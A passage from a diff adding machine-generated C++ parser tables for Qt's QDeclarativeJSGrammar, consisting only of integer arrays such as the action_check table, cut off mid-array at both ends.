+ 45, 48, 50, 49, 0, 45, -343, 48, 50, 49,
+ 0, 45, 78, 79, 48, 50, 49, 0, 0, 0,
+ 80, 81, 0, 0, 82, 0, 83, 45, 48, 50,
+ 49, 0, 0, 45, 78, 79, 48, 50, 49, 34,
+ 45, 0, 80, 81, 78, 79, 82, 34, 83, 0,
+ 0, 0, 80, 81, 45, 34, 82, 0, 83, 0,
+ 0, 34, 45, 0, 6, 5, 4, 1, 3, 2,
+ 0, 240, 239, 0, 34, 0, 48, 50, 49, 245,
+ 244, 0, 0, 34, 48, 50, 49, 245, 244, 0,
+ 0, 0, 48, 50, 49, 0, 0, 0, 48, 50,
+ 49, 0, 45, 0, 0, 0, 245, 244, 0, 0,
+ 45, 48, 50, 49, 0, 240, 239, 34, 45, 0,
+ 48, 50, 49, 0, 45, 0, 0, 0, 0, 0,
+ 0, 0, 0, 78, 79, 0, 0, 45, 151, 0,
+ 0, 80, 81, 0, 0, 82, 45, 83, 152, 240,
+ 239, 0, 153, 0, 48, 50, 49, 0, 0, 0,
+ 0, 154, 0, 155, 0, 0, 308, 0, 0, 0,
+ 0, 0, 0, 0, 156, 0, 157, 62, 0, 0,
+ 45, 0, 0, 0, 158, 0, 0, 159, 63, 0,
+ 0, 0, 0, 160, 0, 0, 0, 0, 0, 161,
+ 0, 0, 0, 0, 0, 0, 0, 0, 0, 30,
+ 31, 151, 0, 0, 0, 162, 0, 0, 0, 33,
+ 0, 152, 0, 0, 0, 153, 34, 0, 0, 0,
+ 35, 36, 0, 37, 154, 0, 155, 0, 0, 0,
+ 502, 0, 0, 0, 44, 0, 0, 156, 0, 157,
+ 62, 0, 0, 0, 0, 0, 0, 158, 0, 0,
+ 159, 63, 51, 48, 50, 49, 160, 52, 0, 0,
+ 0, 0, 161, 0, 0, 0, 0, 0, 43, 54,
+ 32, 30, 31, 0, 40, 0, 0, 0, 162, 45,
+ 0, 33, 0, 0, 0, 0, 0, 0, 34, 0,
+ 0, 0, 35, 36, 0, 37, 0, 0, 0, 30,
+ 31, 0, 41, 0, 0, 0, 44, 0, 0, 33,
+ 0, 0, 0, 0, 0, 0, 34, 0, 0, 0,
+ 35, 36, 0, 37, 51, 48, 50, 49, 0, 52,
+ 502, 0, 0, 0, 44, 0, 0, 0, 0, 0,
+ 43, 54, 32, 0, 0, 0, 40, 0, 0, 0,
+ 0, 45, 51, 48, 50, 49, 0, 52, 0, 0,
+ 0, 0, 0, 0, 0, 0, 0, 0, 43, 54,
+ 32, 0, 0, 0, 40, 0, 0, 0, 0, 45,
+ 30, 31, 0, 0, 0, 0, 0, 0, 30, 31,
+ 33, 0, 0, 0, 0, 0, 0, 34, 33, 0,
+ 0, 35, 36, 0, 37, 34, 0, 0, 0, 35,
+ 36, 502, 37, 0, 0, 44, 0, 0, 0, 41,
+ 0, 0, 0, 44, 0, 0, 0, 0, 0, 0,
+ 0, 0, 0, 51, 48, 50, 49, 0, 52, 0,
+ 0, 51, 48, 50, 49, 0, 52, 0, 0, 43,
+ 54, 32, 0, 0, 0, 40, 0, 43, 54, 32,
+ 45, 0, 0, 40, 0, 0, 0, 0, 45, 30,
+ 31, 0, 0, 0, 0, 0, 0, 30, 31, 33,
+ 0, 0, 0, 0, 0, 0, 34, 33, 0, 0,
+ 35, 36, 0, 37, 34, 0, 0, 0, 35, 36,
+ 41, 37, 0, 0, 44, 0, 0, 0, 502, 0,
+ 0, 0, 44, 0, 0, 0, 0, 0, 0, 0,
+ 0, 0, 51, 48, 50, 49, 0, 52, 0, 0,
+ 51, 48, 50, 49, 0, 52, 0, 0, 43, 54,
+ 32, 0, 0, 0, 40, 0, 43, 54, 32, 45,
+ 0, 0, 40, 0, 0, 0, 0, 45, 0, 0,
+ 0, 0, 0, 0, 0, 0, 501, 0, 30, 31,
+ 0, 0, 0, 0, 0, 0, 0, 0, 215, 0,
+ 0, 0, 0, 0, 0, 34, 0, 0, 0, 35,
+ 36, 0, 37, 0, 0, 0, 0, 0, 0, 502,
+ 0, 0, 0, 44, 0, 0, 0, 0, 0, 0,
+ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
+ 0, 51, 503, 505, 504, 0, 52, 0, 0, 0,
+ 0, 226, 0, 0, 0, 0, 0, 43, 54, 32,
+ 210, 0, 0, 40, 0, 0, 0, 0, 45, 0,
+ 0, 0, 0, 0, 0, 0, 0, 501, 0, 30,
+ 31, 0, 0, 0, 0, 0, 0, 0, 0, 215,
+ 0, 0, 0, 0, 0, 0, 34, 0, 0, 0,
+ 35, 36, 0, 37, 0, 0, 0, 0, 0, 0,
+ 502, 0, 0, 0, 44, 0, 0, 0, 0, 0,
+ 0, 0, 544, 0, 0, 0, 0, 0, 0, 0,
+ 0, 0, 51, 503, 505, 504, 0, 52, 0, 0,
+ 0, 0, 226, 0, 0, 0, 0, 0, 43, 54,
+ 32, 210, 0, 0, 40, 0, 0, 0, 0, 45,
+ 0, 0, 0, 0, 0, 0, 0, 0, 501, 0,
+ 30, 31, 0, 0, 0, 0, 0, 0, 0, 0,
+ 215, 0, 0, 0, 0, 0, 0, 34, 0, 0,
+ 0, 35, 36, 0, 37, 0, 0, 0, 0, 0,
+ 0, 502, 0, 0, 0, 44, 0, 0, 0, 0,
+ 0, 0, 0, 541, 0, 0, 0, 0, 0, 0,
+ 0, 0, 0, 51, 503, 505, 504, 0, 52, 0,
+ 0, 0, 0, 226, 0, 0, 0, 0, 0, 43,
+ 54, 32, 210, 0, 0, 40, 0, 0, 0, 0,
+ 45, 0, 0, 0, 0, 0, 0, 0, 0, 29,
+ 30, 31, 0, 0, 0, 0, 0, 0, 0, 0,
+ 33, 0, 0, 0, 0, 0, 0, 34, 0, 0,
+ 0, 35, 36, 0, 37, 0, 0, 0, 38, 0,
+ 39, 41, 42, 0, 0, 44, 0, 0, 0, 46,
+ 0, 47, 0, 0, 0, 0, 0, 0, 0, 0,
+ 0, 0, 0, 51, 48, 50, 49, 0, 52, 0,
+ 53, 0, 55, 0, 56, 0, 0, 0, 0, 43,
+ 54, 32, 0, 0, 0, 40, 0, 0, 0, 0,
+ 45, 0, 0, 0, 0, 0, 0, 0, 0, -121,
+ 0, 0, 0, 29, 30, 31, 0, 0, 0, 0,
+ 0, 0, 0, 0, 33, 0, 0, 0, 0, 0,
+ 0, 34, 0, 0, 0, 35, 36, 0, 37, 0,
+ 0, 0, 38, 0, 39, 41, 42, 0, 0, 44,
+ 0, 0, 0, 46, 0, 47, 0, 0, 0, 0,
+ 0, 0, 0, 0, 0, 0, 0, 51, 48, 50,
+ 49, 0, 52, 0, 53, 0, 55, 0, 56, 0,
+ 0, 0, 0, 43, 54, 32, 0, 0, 0, 40,
+ 0, 0, 0, 0, 45, 0, 0, 0, 0, 0,
+ 0, 0, 0, 29, 30, 31, 0, 0, 0, 0,
+ 0, 0, 0, 0, 33, 0, 0, 0, 0, 0,
+ 0, 34, 0, 0, 0, 35, 36, 0, 37, 0,
+ 0, 0, 38, 0, 39, 41, 42, 0, 0, 44,
+ 0, 0, 0, 46, 0, 47, 0, 0, 0, 0,
+ 0, 0, 0, 0, 0, 0, 0, 51, 48, 50,
+ 49, 0, 52, 0, 53, 0, 55, 271, 56, 0,
+ 0, 0, 0, 43, 54, 32, 0, 0, 0, 40,
+ 0, 0, 0, 0, 45, 0, 0, 0, 0, 0,
+ 0, 0, 0, 483, 0, 0, 29, 30, 31, 0,
+ 0, 0, 0, 0, 0, 0, 0, 33, 0, 0,
+ 0, 0, 0, 0, 34, 0, 0, 0, 35, 36,
+ 0, 37, 0, 0, 0, 38, 0, 39, 41, 42,
+ 0, 0, 44, 0, 0, 0, 46, 0, 47, 0,
+ 0, 486, 0, 0, 0, 0, 0, 0, 0, 0,
+ 51, 48, 50, 49, 0, 52, 0, 53, 0, 55,
+ 0, 56, 0, 0, 0, 0, 43, 54, 32, 0,
+ 0, 0, 40, 0, 0, 0, 0, 45, 0, 0,
+ 0, 0, 0, 0, 0, 0, 475, 0, 0, 29,
+ 30, 31, 0, 0, 0, 0, 0, 0, 0, 0,
+ 33, 0, 0, 0, 0, 0, 0, 34, 0, 0,
+ 0, 35, 36, 0, 37, 0, 0, 0, 38, 0,
+ 39, 41, 42, 0, 0, 44, 0, 0, 0, 46,
+ 0, 47, 0, 0, 481, 0, 0, 0, 0, 0,
+ 0, 0, 0, 51, 48, 50, 49, 0, 52, 0,
+ 53, 0, 55, 0, 56, 0, 0, 0, 0, 43,
+ 54, 32, 0, 0, 0, 40, 0, 0, 0, 0,
+ 45, 0, 0, 0, 0, 0, 0, 0, 0, 475,
+ 0, 0, 29, 30, 31, 0, 0, 0, 0, 0,
+ 0, 0, 0, 33, 0, 0, 0, 0, 0, 0,
+ 34, 0, 0, 0, 35, 36, 0, 37, 0, 0,
+ 0, 38, 0, 39, 41, 42, 0, 0, 44, 0,
+ 0, 0, 46, 0, 47, 0, 0, 476, 0, 0,
+ 0, 0, 0, 0, 0, 0, 51, 48, 50, 49,
+ 0, 52, 0, 53, 0, 55, 0, 56, 0, 0,
+ 0, 0, 43, 54, 32, 0, 0, 0, 40, 0,
+ 0, 0, 0, 45, 0, 0, 0, 0, 0, 0,
+ 0, 0, 483, 0, 0, 29, 30, 31, 0, 0,
+ 0, 0, 0, 0, 0, 0, 33, 0, 0, 0,
+ 0, 0, 0, 34, 0, 0, 0, 35, 36, 0,
+ 37, 0, 0, 0, 38, 0, 39, 41, 42, 0,
+ 0, 44, 0, 0, 0, 46, 0, 47, 0, 0,
+ 484, 0, 0, 0, 0, 0, 0, 0, 0, 51,
+ 48, 50, 49, 0, 52, 0, 53, 0, 55, 0,
+ 56, 0, 0, 0, 0, 43, 54, 32, 0, 0,
+ 0, 40, 0, 0, 0, 0, 45, 0, 0, 0,
+ 0, 0, 0, 0, 0, 29, 30, 31, 0, 0,
+ 0, 0, 0, 0, 0, 0, 33, 0, 0, 0,
+ 0, 0, 0, 34, 217, 0, 0, 584, 585, 0,
+ 37, 0, 0, 0, 38, 0, 39, 41, 42, 0,
+ 0, 44, 0, 0, 0, 46, 0, 47, 0, 0,
+ 0, 0, 0, 0, 0, 221, 0, 0, 0, 51,
+ 48, 50, 49, 0, 52, 0, 53, 0, 55, 0,
+ 56, 0, 0, 0, 0, 43, 54, 32, 0, 0,
+ 0, 40, 0, 0, 0, 0, 45, 0, 0, 0,
+ 0, 0, 0, 0, 0, 109, 110, 111, 0, 0,
+ 113, 115, 116, 0, 0, 117, 0, 118, 0, 0,
+ 0, 120, 121, 122, 0, 0, 0, 0, 0, 0,
+ 34, 123, 124, 125, 0, 0, 0, 0, 0, 0,
+ 0, 0, 0, 0, 126, 0, 0, 0, 0, 0,
+ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
+ 129, 0, 0, 0, 0, 0, 0, 48, 50, 49,
+ 130, 131, 132, 0, 134, 135, 136, 137, 138, 139,
+ 0, 0, 127, 133, 119, 112, 114, 128, 0, 0,
+ 0, 0, 0, 45, 0, 0, 0, 0, 0, 0,
+ 0, 0, 109, 110, 111, 0, 0, 113, 115, 116,
+ 0, 0, 117, 0, 118, 0, 0, 0, 120, 121,
+ 122, 0, 0, 0, 0, 0, 0, 393, 123, 124,
+ 125, 0, 0, 0, 0, 0, 0, 0, 0, 0,
+ 0, 126, 0, 0, 0, 394, 0, 0, 0, 0,
+ 0, 0, 0, 0, 0, 0, 0, 129, 0, 0,
+ 0, 0, 0, 398, 395, 397, 0, 130, 131, 132,
+ 0, 134, 135, 136, 137, 138, 139, 0, 0, 127,
+ 133, 119, 112, 114, 128, 0, 0, 0, 0, 0,
+ 0, 0, 0, 0, 0, 0, 0, 0, 0, 109,
+ 110, 111, 0, 0, 113, 115, 116, 0, 0, 117,
+ 0, 118, 0, 0, 0, 120, 121, 122, 0, 0,
+ 0, 0, 0, 0, 393, 123, 124, 125, 0, 0,
+ 0, 0, 0, 0, 0, 0, 0, 0, 126, 0,
+ 0, 0, 394, 0, 0, 0, 0, 0, 0, 0,
+ 396, 0, 0, 0, 129, 0, 0, 0, 0, 0,
+ 398, 395, 397, 0, 130, 131, 132, 0, 134, 135,
+ 136, 137, 138, 139, 0, 0, 127, 133, 119, 112,
+ 114, 128, 0, 0, 0, 0, 0, 0, 0, 0,
+ 0, 0, 0, 0, 0, 0, 209, 0, 0, 0,
+ 0, 211, 0, 29, 30, 31, 213, 0, 0, 0,
+ 0, 0, 0, 214, 215, 0, 0, 0, 0, 0,
+ 0, 216, 217, 0, 0, 218, 36, 0, 37, 0,
+ 0, 0, 38, 0, 39, 41, 42, 0, 0, 44,
+ 0, 0, 0, 46, 0, 47, 0, 0, 0, 0,
+ 0, 220, 0, 221, 0, 0, 0, 51, 219, 222,
+ 49, 223, 52, 224, 53, 225, 55, 226, 56, 227,
+ 228, 0, 0, 43, 54, 32, 210, 212, 0, 40,
+ 0, 0, 0, 0, 45, 0, 0, 0, 0, 0,
+ 0, 0, 0, 209, 0, 0, 0, 0, 211, 0,
+ 29, 30, 31, 213, 0, 0, 0, 0, 0, 0,
+ 214, 33, 0, 0, 0, 0, 0, 0, 216, 217,
+ 0, 0, 218, 36, 0, 37, 0, 0, 0, 38,
+ 0, 39, 41, 42, 0, 0, 44, 0, 0, 0,
+ 46, 0, 47, 0, 0, 0, 0, 0, 220, 0,
+ 221, 0, 0, 0, 51, 219, 222, 49, 223, 52,
+ 224, 53, 225, 55, 226, 56, 227, 228, 0, 0,
+ 43, 54, 32, 210, 212, 0, 40, 0, 0, 0,
+ 0, 45, 0, 0, 0, 0, 0, 0, 0, 0,
+ 587, 110, 111, 0, 0, 589, 115, 591, 30, 31,
+ 592, 0, 118, 0, 0, 0, 120, 594, 595, 0,
+ 0, 0, 0, 0, 0, 596, 597, 124, 125, 218,
+ 36, 0, 37, 0, 0, 0, 38, 0, 39, 598,
+ 42, 0, 0, 600, 0, 0, 0, 46, 0, 47,
+ 0, 0, 0, 0, 0, 602, 0, 221, 0, 0,
+ 0, 604, 601, 603, 49, 605, 606, 607, 53, 609,
+ 610, 611, 612, 613, 614, 0, 0, 599, 608, 593,
+ 588, 590, 128, 40, 0, 0, 0, 0, 45, 0,
+ 0, 0, 0, 0, 0, 0, 0, 361, 110, 111,
+ 0, 0, 363, 115, 365, 30, 31, 366, 0, 118,
+ 0, 0, 0, 120, 368, 369, 0, 0, 0, 0,
+ 0, 0, 370, 371, 124, 125, 218, 36, 0, 37,
+ 0, 0, 0, 38, 0, 39, 372, 42, 0, 0,
+ 374, 0, 0, 0, 46, 0, 47, 0, -267, 0,
+ 0, 0, 376, 0, 221, 0, 0, 0, 378, 375,
+ 377, 49, 379, 380, 381, 53, 383, 384, 385, 386,
+ 387, 388, 0, 0, 373, 382, 367, 362, 364, 128,
+ 40, 0, 0, 0, 0, 45, 0, 0, 0, 0,
+ 0, 0, 0, 0,
+
+ 472, 546, 528, 639, 311, 182, 302, 498, 514, 16,
+ 461, 515, 496, 182, 497, 519, 309, 436, 619, 243,
+ 358, 439, 576, 572, 253, 150, 571, 487, 617, 307,
+ 238, 250, 320, 628, 633, 555, 569, 560, 558, 642,
+ 186, 250, 425, 349, 358, 182, 351, 557, 433, 347,
+ 238, 344, 339, 429, 302, 402, 243, 445, 447, 456,
+ 460, 163, 454, 458, 243, 250, 485, 143, 148, 449,
+ 353, 526, 176, 467, 237, 450, 238, 415, 338, 188,
+ 410, 237, 302, 336, 436, 482, 334, 169, 439, 436,
+ 146, 417, 392, 439, 140, 522, 358, 400, 404, 0,
+ 390, 171, 358, 0, 186, 500, 146, 0, 643, 0,
+ 0, 178, 0, 0, 0, 0, 404, 60, 60, 489,
+ 452, 500, 320, 0, 534, 0, 405, 60, 0, 180,
+ 146, 60, 0, 180, 60, 407, 490, 60, 302, 452,
+ 60, 60, 60, 60, 405, 60, 284, 285, 287, 60,
+ 286, 451, 358, 60, 165, 180, 266, 60, 60, 461,
+ 451, 270, 288, 60, 60, 60, 493, 60, 60, 60,
+ 84, 106, 92, 91, 60, 432, 60, 72, 60, 168,
+ 98, 435, 77, 60, 96, 60, 60, 60, 341, 302,
+ 93, 94, 500, 108, 329, 100, 60, 102, 60, 618,
+ 302, 95, 88, 330, 60, 60, 60, 60, 90, 89,
+ 70, 60, 97, 452, 60, 60, 451, 492, 60, 60,
+ 494, 60, 61, 68, 60, 60, 69, 491, 60, 471,
+ 67, 302, 404, 480, 60, 106, 60, 479, 0, 270,
+ 298, 270, 298, 278, 298, 270, 0, 270, 60, 270,
+ 0, 316, 0, 270, 332, 0, 500, 108, 175, 538,
+ 405, 293, 319, 0, 317, 303, 326, 60, 60, 60,
+ 0, 0, 270, 270, 270, 290, 291, 60, 295, 298,
+ 60, 60, 270, 298, 270, 270, 270, 289, 270, 0,
+ 273, 500, 313, 0, 551, 545, 305, 534, 508, 615,
+ 542, 297, 0, 500, 0, 300, 499, 509, 500, 0,
+ 508, 0, 0, 0, 0, 508, 472, 0, 499, 509,
+ 583, 0, 0, 499, 509, 0, 0, 586, 579, 580,
+ 581, 582, 0, 0, 0, 0, 0, 0, 0, 0,
+ 0, 0, 0, 0, 0, 0, 0, 0, 0, 550,
+ 0, 0, 0, 0, 0, 0, 0, 0, 0, 551,
+ 0, 0, 0, 0, 0, 0, 552, 0, 0, 0,
+ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
+ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
+ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
+ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
+ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
+ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
+ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
+ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
+ 0, 0};
+
+const short QDeclarativeJSGrammar::action_check [] = {
+ 7, 16, 55, 7, 33, 36, 33, 55, 36, 7,
+ 7, 7, 7, 7, 7, 36, 7, 7, 36, 8,
+ 36, 55, 60, 29, 7, 7, 36, 7, 33, 7,
+ 7, 7, 7, 36, 36, 48, 1, 0, 90, 79,
+ 7, 33, 8, 90, 2, 7, 33, 55, 36, 60,
+ 36, 20, 33, 5, 1, 5, 79, 36, 7, 33,
+ 5, 60, 33, 33, 8, 33, 17, 24, 2, 7,
+ 34, 2, 7, 1, 7, 36, 60, 37, 8, 8,
+ 36, 66, 36, 7, 1, 17, -1, -1, 36, 48,
+ 36, 33, 8, 66, 7, 48, 36, 33, 7, 36,
+ 2, 7, 8, 8, 8, 77, 61, 15, 8, 8,
+ 6, -1, 31, 36, 8, 10, -1, -1, -1, 60,
+ 8, 60, -1, 48, 20, -1, 34, -1, 8, 8,
+ 8, -1, -1, 60, 60, 8, 79, 55, 60, 50,
+ 8, 61, 8, 54, 8, 8, 61, 61, 62, 61,
+ 62, 42, 56, 50, 40, 60, 56, 54, 79, 40,
+ 55, 60, 53, 61, 62, 51, 60, 15, 61, 62,
+ 51, 61, 62, 61, 61, 62, 56, 56, 61, 62,
+ 40, 8, 60, 8, 61, 62, 34, 60, 8, 61,
+ 62, 51, 60, 56, 60, 40, 60, 12, 29, 61,
+ 62, 25, 25, 27, 27, 15, 51, 36, 29, 15,
+ 29, 61, 62, 12, 38, 38, 8, 29, 7, 7,
+ 29, -1, 8, -1, 34, 8, 36, 25, 34, 27,
+ 36, 15, 61, 62, 61, 62, 61, 62, 7, 29,
+ 38, 91, 57, 7, 75, 33, 8, 25, 63, 27,
+ 34, -1, 36, -1, 75, 86, 75, 12, 57, -1,
+ 38, 15, -1, 75, 63, 86, 75, 86, 15, 61,
+ 62, -1, 61, 62, 86, 61, 62, 86, 61, 62,
+ 34, 25, 36, 27, -1, 75, 33, 34, 29, 36,
+ 18, 19, 61, 62, 38, 47, 86, 61, 62, 61,
+ 62, 15, 57, -1, 92, 18, 19, -1, 63, 61,
+ 62, 29, -1, 18, 19, 18, 19, 45, 46, 33,
+ 34, -1, 36, 29, -1, 66, 67, 68, -1, -1,
+ -1, -1, 45, 46, 29, -1, -1, -1, 29, 91,
+ 45, 46, 45, 46, 23, 24, 29, -1, 66, 67,
+ 68, 92, 29, 32, 23, 24, 35, 25, 37, 27,
+ 66, 67, 68, 32, -1, 29, 35, -1, 37, 29,
+ 38, 66, 67, 68, 92, 66, 67, 68, -1, -1,
+ 29, -1, -1, 66, 67, 68, 92, 29, -1, 66,
+ 67, 68, 29, -1, -1, -1, -1, 92, 29, -1,
+ -1, 92, 66, 67, 68, -1, 66, 67, 68, 92,
+ -1, -1, -1, -1, 29, 92, -1, 66, 67, 68,
+ 29, -1, -1, -1, 66, 67, 68, 29, 92, 66,
+ 67, 68, 92, 23, 24, 66, 67, 68, -1, -1,
+ -1, 29, 32, 92, -1, 35, -1, 37, 36, 29,
+ 92, 66, 67, 68, -1, 92, 36, 66, 67, 68,
+ -1, 92, 23, 24, 66, 67, 68, -1, -1, -1,
+ 31, 32, -1, -1, 35, -1, 37, 92, 66, 67,
+ 68, -1, -1, 92, 23, 24, 66, 67, 68, 29,
+ 92, -1, 31, 32, 23, 24, 35, 29, 37, -1,
+ -1, -1, 31, 32, 92, 29, 35, -1, 37, -1,
+ -1, 29, 92, -1, 93, 94, 95, 96, 97, 98,
+ -1, 61, 62, -1, 29, -1, 66, 67, 68, 61,
+ 62, -1, -1, 29, 66, 67, 68, 61, 62, -1,
+ -1, -1, 66, 67, 68, -1, -1, -1, 66, 67,
+ 68, -1, 92, -1, -1, -1, 61, 62, -1, -1,
+ 92, 66, 67, 68, -1, 61, 62, 29, 92, -1,
+ 66, 67, 68, -1, 92, -1, -1, -1, -1, -1,
+ -1, -1, -1, 23, 24, -1, -1, 92, 3, -1,
+ -1, 31, 32, -1, -1, 35, 92, 37, 13, 61,
+ 62, -1, 17, -1, 66, 67, 68, -1, -1, -1,
+ -1, 26, -1, 28, -1, -1, 31, -1, -1, -1,
+ -1, -1, -1, -1, 39, -1, 41, 42, -1, -1,
+ 92, -1, -1, -1, 49, -1, -1, 52, 53, -1,
+ -1, -1, -1, 58, -1, -1, -1, -1, -1, 64,
+ -1, -1, -1, -1, -1, -1, -1, -1, -1, 12,
+ 13, 3, -1, -1, -1, 80, -1, -1, -1, 22,
+ -1, 13, -1, -1, -1, 17, 29, -1, -1, -1,
+ 33, 34, -1, 36, 26, -1, 28, -1, -1, -1,
+ 43, -1, -1, -1, 47, -1, -1, 39, -1, 41,
+ 42, -1, -1, -1, -1, -1, -1, 49, -1, -1,
+ 52, 53, 65, 66, 67, 68, 58, 70, -1, -1,
+ -1, -1, 64, -1, -1, -1, -1, -1, 81, 82,
+ 83, 12, 13, -1, 87, -1, -1, -1, 80, 92,
+ -1, 22, -1, -1, -1, -1, -1, -1, 29, -1,
+ -1, -1, 33, 34, -1, 36, -1, -1, -1, 12,
+ 13, -1, 43, -1, -1, -1, 47, -1, -1, 22,
+ -1, -1, -1, -1, -1, -1, 29, -1, -1, -1,
+ 33, 34, -1, 36, 65, 66, 67, 68, -1, 70,
+ 43, -1, -1, -1, 47, -1, -1, -1, -1, -1,
+ 81, 82, 83, -1, -1, -1, 87, -1, -1, -1,
+ -1, 92, 65, 66, 67, 68, -1, 70, -1, -1,
+ -1, -1, -1, -1, -1, -1, -1, -1, 81, 82,
+ 83, -1, -1, -1, 87, -1, -1, -1, -1, 92,
+ 12, 13, -1, -1, -1, -1, -1, -1, 12, 13,
+ 22, -1, -1, -1, -1, -1, -1, 29, 22, -1,
+ -1, 33, 34, -1, 36, 29, -1, -1, -1, 33,
+ 34, 43, 36, -1, -1, 47, -1, -1, -1, 43,
+ -1, -1, -1, 47, -1, -1, -1, -1, -1, -1,
+ -1, -1, -1, 65, 66, 67, 68, -1, 70, -1,
+ -1, 65, 66, 67, 68, -1, 70, -1, -1, 81,
+ 82, 83, -1, -1, -1, 87, -1, 81, 82, 83,
+ 92, -1, -1, 87, -1, -1, -1, -1, 92, 12,
+ 13, -1, -1, -1, -1, -1, -1, 12, 13, 22,
+ -1, -1, -1, -1, -1, -1, 29, 22, -1, -1,
+ 33, 34, -1, 36, 29, -1, -1, -1, 33, 34,
+ 43, 36, -1, -1, 47, -1, -1, -1, 43, -1,
+ -1, -1, 47, -1, -1, -1, -1, -1, -1, -1,
+ -1, -1, 65, 66, 67, 68, -1, 70, -1, -1,
+ 65, 66, 67, 68, -1, 70, -1, -1, 81, 82,
+ 83, -1, -1, -1, 87, -1, 81, 82, 83, 92,
+ -1, -1, 87, -1, -1, -1, -1, 92, -1, -1,
+ -1, -1, -1, -1, -1, -1, 10, -1, 12, 13,
+ -1, -1, -1, -1, -1, -1, -1, -1, 22, -1,
+ -1, -1, -1, -1, -1, 29, -1, -1, -1, 33,
+ 34, -1, 36, -1, -1, -1, -1, -1, -1, 43,
+ -1, -1, -1, 47, -1, -1, -1, -1, -1, -1,
+ -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
+ -1, 65, 66, 67, 68, -1, 70, -1, -1, -1,
+ -1, 75, -1, -1, -1, -1, -1, 81, 82, 83,
+ 84, -1, -1, 87, -1, -1, -1, -1, 92, -1,
+ -1, -1, -1, -1, -1, -1, -1, 10, -1, 12,
+ 13, -1, -1, -1, -1, -1, -1, -1, -1, 22,
+ -1, -1, -1, -1, -1, -1, 29, -1, -1, -1,
+ 33, 34, -1, 36, -1, -1, -1, -1, -1, -1,
+ 43, -1, -1, -1, 47, -1, -1, -1, -1, -1,
+ -1, -1, 55, -1, -1, -1, -1, -1, -1, -1,
+ -1, -1, 65, 66, 67, 68, -1, 70, -1, -1,
+ -1, -1, 75, -1, -1, -1, -1, -1, 81, 82,
+ 83, 84, -1, -1, 87, -1, -1, -1, -1, 92,
+ -1, -1, -1, -1, -1, -1, -1, -1, 10, -1,
+ 12, 13, -1, -1, -1, -1, -1, -1, -1, -1,
+ 22, -1, -1, -1, -1, -1, -1, 29, -1, -1,
+ -1, 33, 34, -1, 36, -1, -1, -1, -1, -1,
+ -1, 43, -1, -1, -1, 47, -1, -1, -1, -1,
+ -1, -1, -1, 55, -1, -1, -1, -1, -1, -1,
+ -1, -1, -1, 65, 66, 67, 68, -1, 70, -1,
+ -1, -1, -1, 75, -1, -1, -1, -1, -1, 81,
+ 82, 83, 84, -1, -1, 87, -1, -1, -1, -1,
+ 92, -1, -1, -1, -1, -1, -1, -1, -1, 11,
+ 12, 13, -1, -1, -1, -1, -1, -1, -1, -1,
+ 22, -1, -1, -1, -1, -1, -1, 29, -1, -1,
+ -1, 33, 34, -1, 36, -1, -1, -1, 40, -1,
+ 42, 43, 44, -1, -1, 47, -1, -1, -1, 51,
+ -1, 53, -1, -1, -1, -1, -1, -1, -1, -1,
+ -1, -1, -1, 65, 66, 67, 68, -1, 70, -1,
+ 72, -1, 74, -1, 76, -1, -1, -1, -1, 81,
+ 82, 83, -1, -1, -1, 87, -1, -1, -1, -1,
+ 92, -1, -1, -1, -1, -1, -1, -1, -1, 7,
+ -1, -1, -1, 11, 12, 13, -1, -1, -1, -1,
+ -1, -1, -1, -1, 22, -1, -1, -1, -1, -1,
+ -1, 29, -1, -1, -1, 33, 34, -1, 36, -1,
+ -1, -1, 40, -1, 42, 43, 44, -1, -1, 47,
+ -1, -1, -1, 51, -1, 53, -1, -1, -1, -1,
+ -1, -1, -1, -1, -1, -1, -1, 65, 66, 67,
+ 68, -1, 70, -1, 72, -1, 74, -1, 76, -1,
+ -1, -1, -1, 81, 82, 83, -1, -1, -1, 87,
+ -1, -1, -1, -1, 92, -1, -1, -1, -1, -1,
+ -1, -1, -1, 11, 12, 13, -1, -1, -1, -1,
+ -1, -1, -1, -1, 22, -1, -1, -1, -1, -1,
+ -1, 29, -1, -1, -1, 33, 34, -1, 36, -1,
+ -1, -1, 40, -1, 42, 43, 44, -1, -1, 47,
+ -1, -1, -1, 51, -1, 53, -1, -1, -1, -1,
+ -1, -1, -1, -1, -1, -1, -1, 65, 66, 67,
+ 68, -1, 70, -1, 72, -1, 74, 75, 76, -1,
+ -1, -1, -1, 81, 82, 83, -1, -1, -1, 87,
+ -1, -1, -1, -1, 92, -1, -1, -1, -1, -1,
+ -1, -1, -1, 8, -1, -1, 11, 12, 13, -1,
+ -1, -1, -1, -1, -1, -1, -1, 22, -1, -1,
+ -1, -1, -1, -1, 29, -1, -1, -1, 33, 34,
+ -1, 36, -1, -1, -1, 40, -1, 42, 43, 44,
+ -1, -1, 47, -1, -1, -1, 51, -1, 53, -1,
+ -1, 56, -1, -1, -1, -1, -1, -1, -1, -1,
+ 65, 66, 67, 68, -1, 70, -1, 72, -1, 74,
+ -1, 76, -1, -1, -1, -1, 81, 82, 83, -1,
+ -1, -1, 87, -1, -1, -1, -1, 92, -1, -1,
+ -1, -1, -1, -1, -1, -1, 8, -1, -1, 11,
+ 12, 13, -1, -1, -1, -1, -1, -1, -1, -1,
+ 22, -1, -1, -1, -1, -1, -1, 29, -1, -1,
+ -1, 33, 34, -1, 36, -1, -1, -1, 40, -1,
+ 42, 43, 44, -1, -1, 47, -1, -1, -1, 51,
+ -1, 53, -1, -1, 56, -1, -1, -1, -1, -1,
+ -1, -1, -1, 65, 66, 67, 68, -1, 70, -1,
+ 72, -1, 74, -1, 76, -1, -1, -1, -1, 81,
+ 82, 83, -1, -1, -1, 87, -1, -1, -1, -1,
+ 92, -1, -1, -1, -1, -1, -1, -1, -1, 8,
+ -1, -1, 11, 12, 13, -1, -1, -1, -1, -1,
+ -1, -1, -1, 22, -1, -1, -1, -1, -1, -1,
+ 29, -1, -1, -1, 33, 34, -1, 36, -1, -1,
+ -1, 40, -1, 42, 43, 44, -1, -1, 47, -1,
+ -1, -1, 51, -1, 53, -1, -1, 56, -1, -1,
